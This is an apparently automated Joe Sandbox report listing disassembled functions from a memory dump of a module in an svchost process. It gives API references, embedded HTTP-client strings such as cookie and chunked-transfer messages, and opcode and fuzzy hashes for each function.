Instruction Fuzzy Hash: EEB12A7A209B4486EB758B69D8503EDA7B5E704F98FD80215CEAD06394FB39C958EB00

Function 00000173D01727E0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 181COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0172829
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0172872
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01729B6

Part of subcall function 00000173D0169250: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016928D

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017289C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01729C6

Strings

Failed sending Gopher request, xrefs: 00000173D01729CC
%s?%s, xrefs: 00000173D017281B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: %s?%s$Failed sending Gopher request
API String ID: 111713529-132698833
Opcode ID: 27f1859d9793bf00524c1d5affff30fe9c262b0222979bbcb1fc6aabb92e09fb
Instruction ID: 24617c839bdbc785e65c012db53df2ce9c6a14f121b1c4e504b4dbd9c23119c7
Opcode Fuzzy Hash: 27f1859d9793bf00524c1d5affff30fe9c262b0222979bbcb1fc6aabb92e09fb
Instruction Fuzzy Hash: 8F61747A30969482FB619BA6E4403D9A6A0A785FF4F840321DF7D477D5FB38C687A700

Function 00000173D019585B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 115COMMON

Download Yara Rule

Strings

FLUSH, xrefs: 00000173D01958E9
SESS, xrefs: 00000173D01958A8
ALL, xrefs: 00000173D0195867
RELOAD, xrefs: 00000173D019590B
Set-Cookie:, xrefs: 00000173D0195997

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID: ALL$FLUSH$RELOAD$SESS$Set-Cookie:
API String ID: 1294909896-1147549499
Opcode ID: 103b107586fa9227b45bf145222309df3821b1e95c9e2af278b0af28645039d7
Instruction ID: f950f0c84397d9f0d5f624cffe5e3075b823acbaabdcd7b7b6e401ea3a8c0b5f
Opcode Fuzzy Hash: 103b107586fa9227b45bf145222309df3821b1e95c9e2af278b0af28645039d7
Instruction Fuzzy Hash: DF414FB930D65081FA78A7A2E9517EED271AB81FD0FC04115DDBF46AC6FF28C642A311

Function 00000173D01707F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140 ref: 00000173D0170820
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0170848
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0170866
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0170897
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01708E4
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0170945

Strings

Wildcard - Parsing started, xrefs: 00000173D017095E

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdup$callocfreestrrchr
String ID: Wildcard - Parsing started
API String ID: 2641349667-2475583933
Opcode ID: 44ab88a669aa04c62231100cdfcaf3a3da64f94eca007dd566c131d75bcdbf31
Instruction ID: fd31dabfd2af994f080d6e9c757512ddfc1f821c764752b1f99076babb922a95
Opcode Fuzzy Hash: 44ab88a669aa04c62231100cdfcaf3a3da64f94eca007dd566c131d75bcdbf31
Instruction Fuzzy Hash: 5F41573A609B82C6FB66DB95E40439DA7B0F788B84F844024DBAD47792FF38C665D340

Function 00000173D01614F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000173D0160CCC), ref: 00000173D01614FD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0161588
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0161592
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016159C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01615A6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01615B0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01615B9

Strings

?, xrefs: 00000173D0161539

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_time64
String ID: ?
API String ID: 3087401894-1684325040
Opcode ID: ede764a78d3ca367c2767017dfa413e1f286ce038fd3d8e2205f52a6027f1c88
Instruction ID: 4f856aba80dde0af4a3f2fbf3d4fc1657643e8c6aa20dbae0ef5d2f44cc3a3cb
Opcode Fuzzy Hash: ede764a78d3ca367c2767017dfa413e1f286ce038fd3d8e2205f52a6027f1c88
Instruction Fuzzy Hash: BC31EC3A609A5185EA708F62E8402ADE3B4F789FE4F980525DE7E47B58EF38C5419700

Function 00000173D01AA348 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 268stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01AA5B0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AA777

Strings

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00000173D01AA753
file://%s%s%s, xrefs: 00000173D01AA3E1
%.*s%%25%s], xrefs: 00000173D01AA50E
xn--, xrefs: 00000173D01AA5A3
https, xrefs: 00000173D01AA439
file, xrefs: 00000173D01AA3C2
%s://, xrefs: 00000173D01AA5CC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: freestrncmp
String ID: %.*s%%25%s]$%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$%s://$file$file://%s%s%s$https$xn--
API String ID: 1891267927-4130347283
Opcode ID: bb1c2040727a8c6a5536ab0f08df1104da565601866446cf42d0101fceef3854
Instruction ID: a3a8eb9edb5d47e0857be9de641f6375ed7d9726b4060f7f1485ee52ad3c0049
Opcode Fuzzy Hash: bb1c2040727a8c6a5536ab0f08df1104da565601866446cf42d0101fceef3854
Instruction Fuzzy Hash: 3DC16E3A60DB8096EA758B91E5403DAE3F0F744BC4FC840169AAD53B95FF38D65AE700

Function 00000173D017D340 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 192stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00000173D017D578

Strings

operation aborted by trailing headers callback, xrefs: 00000173D017D54C
http_chunk, added last chunk with trailers from client -> %d, xrefs: 00000173D017D615
0, xrefs: 00000173D017D4E4
Malformatted trailing header, skipping trailer, xrefs: 00000173D017D5D3
%zx, xrefs: 00000173D017D403
http_chunk, added last, empty chunk, xrefs: 00000173D017D4CA
0, xrefs: 00000173D017D506
http_chunk, made chunk of %zu bytes -> %d, xrefs: 00000173D017D48B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: strchr
String ID: %zx$0$0$Malformatted trailing header, skipping trailer$http_chunk, added last chunk with trailers from client -> %d$http_chunk, added last, empty chunk$http_chunk, made chunk of %zu bytes -> %d$operation aborted by trailing headers callback
API String ID: 2830005266-126491959
Opcode ID: abe3ceb02854391a74cf306b8dc7cfb45ab71d0b1b1fc80b9ca78811a5754175
Instruction ID: 8040a1c7069580d0a79b6cdce9c756f6b447c416f29002016660d83f2d13d2dc
Opcode Fuzzy Hash: abe3ceb02854391a74cf306b8dc7cfb45ab71d0b1b1fc80b9ca78811a5754175
Instruction Fuzzy Hash: E081A07A60CA4492EB70DBA5E4447DAA3B0E385FD4FC44012EA6E87695FF38C74AD700

Function 00000173D0183800 Relevance: 13.6, APIs: 9, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c8dc4a0aaf0ad9003701c7c8bbbc3a3aec79601f338a5ba5a9cbfc21c16228b
Instruction ID: 189a74493b4de2f90dc2e7a1741732ed7aeb8ace7fbbbdf1d9390f4426c6c179
Opcode Fuzzy Hash: 7c8dc4a0aaf0ad9003701c7c8bbbc3a3aec79601f338a5ba5a9cbfc21c16228b
Instruction Fuzzy Hash: DF418E3960AB5191FB34DB91E5843E8A3B1AB49FE4F880224DD6D03794FF7CCA41A340

Function 00000173D01764E7 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 87COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176592
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176695
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176711
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017674E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01767A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176806
SimpleString::operator=.MSOBJ140-MSVCRT ref: 00000173D0176DC6

Strings

POST, xrefs: 00000173D01764E7
%s?%s, xrefs: 00000173D0176521
Accept-Encoding, xrefs: 00000173D01766ED
Accept-Encoding: %s, xrefs: 00000173D017671E
Referer, xrefs: 00000173D01766B4
Referer: %s, xrefs: 00000173D01766CF

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$SimpleString::operator=
String ID: %s?%s$Accept-Encoding$Accept-Encoding: %s$POST$Referer$Referer: %s
API String ID: 1621822926-997604947
Opcode ID: dd1f404e633f12ecf2762c7c30f49c178b6249a10c20961f453e78add58c1093
Instruction ID: 8f151758df0d4680d379df0166947d0379c6252c630f3ab6d217c8fe0f32c257
Opcode Fuzzy Hash: dd1f404e633f12ecf2762c7c30f49c178b6249a10c20961f453e78add58c1093
Instruction Fuzzy Hash: 44412A79209B8080EB769BA0D4503D9A6F4F789FD8FC84139DE6D4A689FF38C655E310

Function 00000173D01764F0 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 87COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176592
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176695
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176711
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017674E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01767A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0176806
SimpleString::operator=.MSOBJ140-MSVCRT ref: 00000173D0176DC6

Strings

%s?%s, xrefs: 00000173D0176521
Accept-Encoding, xrefs: 00000173D01766ED
PUT, xrefs: 00000173D01764F0
Accept-Encoding: %s, xrefs: 00000173D017671E
Referer, xrefs: 00000173D01766B4
Referer: %s, xrefs: 00000173D01766CF

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$SimpleString::operator=
String ID: %s?%s$Accept-Encoding$Accept-Encoding: %s$PUT$Referer$Referer: %s
API String ID: 1621822926-4091559278
Opcode ID: 7b140460cf876aba7226aacabe40a2d78e3099877e0fa5f31f295fa9c093a4e9
Instruction ID: 065b67700ba7203ecac87ef8c1b99c8eb01cacd96e1c561044ffca345616fa7c
Opcode Fuzzy Hash: 7b140460cf876aba7226aacabe40a2d78e3099877e0fa5f31f295fa9c093a4e9
Instruction Fuzzy Hash: 3B412A79209B8080EB769BA0D4503D9A6B4F789FD8FC84139DE6D4A689FF38C655E310

Function 00000173D01683F0 Relevance: 12.2, APIs: 8, Instructions: 199COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0168417
memmove.VCRUNTIME140 ref: 00000173D0168449

Part of subcall function 00000173D0182DA0: memset.VCRUNTIME140 ref: 00000173D0182DD9

memset.VCRUNTIME140 ref: 00000173D0168469

Part of subcall function 00000173D01946D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D01684B5), ref: 00000173D01946E8

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0168524
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0168645
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D016866E

Part of subcall function 00000173D019E320: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000CE8,00000173D01ADAAB), ref: 00000173D019E338

Part of subcall function 00000173D0151120: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0151F11
Part of subcall function 00000173D0151120: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0151F1A

Part of subcall function 00000173D0175730: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0175740

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016875D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0168792

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdupfree$callocmemset$mallocmemmove
String ID:
API String ID: 3958593022-0
Opcode ID: dff4d43b1f82b3be16d3f5602984e88871eb33e8f07b2bcaf38b4029c8e1b8cb
Instruction ID: 5ca3562ca82e9f5e6709dd10da05355e4ad378308b5dd3f92c4b0e39f416c54a
Opcode Fuzzy Hash: dff4d43b1f82b3be16d3f5602984e88871eb33e8f07b2bcaf38b4029c8e1b8cb
Instruction Fuzzy Hash: CCA15D39209B8181EB699FA5D8503EDA3B0EB45FD8FC842359A7D4B6C6FF34D2509321

Function 00000173D01B57E0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00000173D01B3A42), ref: 00000173D01B585E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00000173D01B3A42), ref: 00000173D01B589A
inet_pton.WS2_32 ref: 00000173D01B58CC
inet_pton.WS2_32 ref: 00000173D01B58F2
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00000173D01B3A42), ref: 00000173D01B594A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00000173D01B3A42), ref: 00000173D01B5982
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00000173D01B3A42), ref: 00000173D01B598C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00000173D01B3A42), ref: 00000173D01B5995

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdupinet_pton$calloc
String ID:
API String ID: 1961295042-0
Opcode ID: 7066de9b0697eea2c7ffd98562010f7cf58f24a0038b9dd01b2d900d99e75690
Instruction ID: 83cb8b458af83378b4c9a9a450b4a032164f1d9cb588e437c3524769157279ed
Opcode Fuzzy Hash: 7066de9b0697eea2c7ffd98562010f7cf58f24a0038b9dd01b2d900d99e75690
Instruction Fuzzy Hash: A8518F3A209B80C2EB268F96D4503A8B7B0F759FD4F884125CB6D07791EF38C6A1A700

Function 00000173D0164630 Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D01626D0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D0162705
Part of subcall function 00000173D01626D0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D0162718
Part of subcall function 00000173D01626D0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D016273F
Part of subcall function 00000173D01626D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000173D0162847,?,?,?,00000173D0151F41), ref: 00000173D016274C

wcschr.VCRUNTIME140 ref: 00000173D0164691
_wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01646BD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01646FB
wcsncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0164716
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0164734
_wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D016474D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0164779
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016478E

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$ByteCharMultiWide_wcsdupmalloc$wcschrwcsncpy
String ID:
API String ID: 3696254116-0
Opcode ID: 8620fd48158dc7c22be04266da9e9dbd57cb15bb93cfff5a3d7557f6419d7bf0
Instruction ID: d1b7a21aafbb571d2ee79f90acecb30a0dd716ae5621e87d9891188d3f5e3ce8
Opcode Fuzzy Hash: 8620fd48158dc7c22be04266da9e9dbd57cb15bb93cfff5a3d7557f6419d7bf0
Instruction Fuzzy Hash: 9B41C439609B5082EE21DF92E8047AAA3B0F74AFD4FC94625DD2E07791FF38D1859300

Function 00000173D017B6A0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017B7C1

Part of subcall function 00000173D0182510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182547
Part of subcall function 00000173D0182510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182557
Part of subcall function 00000173D0182510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182565
Part of subcall function 00000173D0182510: memset.VCRUNTIME140 ref: 00000173D018259B

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017B81E

Part of subcall function 00000173D0194030: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0194047

Strings

chunked, xrefs: 00000173D017B934
Transfer-Encoding, xrefs: 00000173D017B91A
multipart/form-data, xrefs: 00000173D017B843
Transfer-Encoding:, xrefs: 00000173D017B94A
Content-Type, xrefs: 00000173D017B76A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$calloc$memset
String ID: Content-Type$Transfer-Encoding$Transfer-Encoding:$chunked$multipart/form-data
API String ID: 2591755499-1003861500
Opcode ID: 816db0b0b0f91339b2475bf9136076f41c8bbafb1aa664cac9532527c286d9ca
Instruction ID: 7e98543b869184ca19f1136ccb7b223c929e24283cfc3ac6798c9c6b6b449d71
Opcode Fuzzy Hash: 816db0b0b0f91339b2475bf9136076f41c8bbafb1aa664cac9532527c286d9ca
Instruction Fuzzy Hash: D471983A60864081EB298B5AE5943E9A3B1E7C5FC8F9C0035DF2D0B7D9FF29CA409300

Function 00000173D0160600 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016063B

Part of subcall function 00000173D0162830: _wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162865
Part of subcall function 00000173D0162830: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162886
Part of subcall function 00000173D0162830: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D0151F41), ref: 00000173D0162894

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00000173D0160688
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00000173D01607B4

Strings

WARNING: failed to open cookie file "%s", xrefs: 00000173D01606AD
Set-Cookie:, xrefs: 00000173D0160710
-, xrefs: 00000173D016067B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$__acrt_iob_func_wfopencallocfclose
String ID: -$Set-Cookie:$WARNING: failed to open cookie file "%s"
API String ID: 1265547967-2358014132
Opcode ID: 0421751e81405401c853245beb07fbe5ad2a70d4e1bd7c9dcffa53bd47de7ac0
Instruction ID: 49a492fd874e84c2c6c2d756578ec5ca4f62b71d4f15346ef97fe03f4752d5d0
Opcode Fuzzy Hash: 0421751e81405401c853245beb07fbe5ad2a70d4e1bd7c9dcffa53bd47de7ac0
Instruction Fuzzy Hash: 0651C03920879141EA769B61E8103EEE6A1B782FD0FC84111DEBD07BC6FB39C651E700

Function 00000173D0180500 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 92stringCOMMON

Download Yara Rule

APIs

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0180573
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01805FD

Strings

LIST "%s" *, xrefs: 00000173D0180623
%s%s, xrefs: 00000173D0180530
() {%*]\", xrefs: 00000173D0180569

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
